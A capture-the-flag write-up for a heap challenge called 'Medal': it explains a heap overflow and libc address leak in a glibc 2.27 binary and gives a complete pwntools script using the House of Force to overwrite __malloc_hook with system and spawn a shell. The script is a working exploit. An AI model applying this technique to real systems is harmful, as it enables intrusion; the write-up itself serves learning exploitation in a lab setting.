PWN Medal

Everyone gets a medal!

Nathan Ord

Initialization

When first looking into the Medal challenge, there are a few initial clues that can get you set on the right track. First and foremost is the hint toward heap abuse in the description which states “We wrote this binary to gather a heap of suggestions for our team motto.” Given that information, you can begin to think about the varying houses that might come up in this scenario. Coupling this with the libc version given with the challenge (2.27), you can narrow things down a bit, but nothing is quite conclusive yet.

Therefore, you can quickly dive into the binary using IDA or your favorite flavor of disassembler like Binary Ninja, Ghidra etc. Within the binary, you will find a “vuln” function which contains the following assembly converted to pseudocode for ease of reading:

```
void __fastcall vuln()
{
  int i; // [rsp+Ch] [rbp-94h]
  unsigned __int64 size; // [rsp+10h] [rbp-90h] BYREF
  void *heap; // [rsp+18h] [rbp-88h]
  char *p; // [rsp+20h] [rbp-80h]
  char *c; // [rsp+28h] [rbp-78h]
  char data[100]; // [rsp+30h] [rbp-70h] BYREF
  unsigned __int64 v6; // [rsp+98h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  heap = sbrk(0LL);
  print_logo();
  for ( i = 0; i <= 3; ++i )
  {
    printf("Team size >>> ");
    __isoc99_scanf("%lu", &size);
    p = (char *)malloc(size);
    c = p;
    printf("Team motto >>> ");
    __isoc99_scanf("%100s", data);
    strcpy(c, data);
    heap = p;
    printf("<<< Thank you for your suggestion");
    printf("<<< Team data stored securely at : %p\n", heap);
    printf("<<< Random identifier for motto : %p\n", &rand);
  }
}
```

What’s interesting about this is that you can submit longer text to the motto than what you previously allocated for the size above this line, otherwise known as a buffer overflow. This means we can effectively overwrite anything following the allocated chunk provided the size is small. With some subsequent reading (how2heap/glibc_2.27 at master · shellphish/how2heap (github.com)), you will find the “House of Force.” This is a method by which one can overwrite the “wilderness” value (remaining

allocatable space in the heap), then allocate up to and in libc to overwrite malloc hook and call a function with a new malloc which subsequently calls the malloc hook we wrote.

Figure 1: Pre-Overwriting the top chunk "wilderness" value

Figure 2: Post-Overwriting the top chunk "wilderness" value

In short, this would play out as follows:

1) Get heap and libc leaks
    a. This program hands them out due to the sharing of the heap location as well as an error in programming (printing the address of the rand function rather than a random value).

```
printf("<<< Thank you for your suggestion");
printf("<<< Team data stored securely at : %p\n", heap);
printf("<<< Random identifier for motto : %p\n", &rand);
```

2) Overwrite “wilderness” value to cover all of the system memory space (-1 or 0xFFFFFFFFFFFFFFFF)
3) Allocate a chunk from the end of the first chunk allocated all the way up to __malloc_hook-[OFFSET]
4) Allocate a chunk and write function to __malloc_hook, keeping in mind and adjusting for the offset above.
5) Allocate a new chunk, passing the location “/bin/sh” as the size which will be passed to system

So... let’s do it!

Code

```
from pwn import *


p = process("./chal")#,env={"LD_PRELOAD" : "./libc-2.27-2.so"})

#p = remote("0.cloud.chals.io",10679)
```

```
context.terminal = ['tmux', 'splitw', '-h']

def senddata(size,motto):
    p.sendlineafter(b"Team size >>>",str(size))
    p.sendlineafter(b"Team motto >>>",motto)

#Set Wilderness To Be Big
senddata(10,b'A'*23 + p64(0xffffffffffffffff))

#Get Leaks
p.readuntil("at : 0x")
heap=int(p.readuntil("\n").strip(),base=16)
p.readuntil("o : 0x")
libc_leak=int(p.readuntil("\n").strip(),base=16)



#Interesting Locations
libc_base=libc_leak-0x44390
system=libc_base+0x4ee90
binsh=libc_base+0x1b3d88
print(hex(system))
malloc_hook=libc_base+0x3ebc30



#Bridge The Gap //He's Going The Distance
senddata(int(malloc_hook-heap-0x30),b'A')

#Overwrite Malloc Hook //He's Going For Speed
senddata(0x20,p64(system))

#gdb.attach(p)
#pause()
#Sploit //System is all alone in its time of need
#senddata(binsh,b'')
```

```
p.sendlineafter(b"Team size >>>",str(binsh).encode())

p.interactive()
```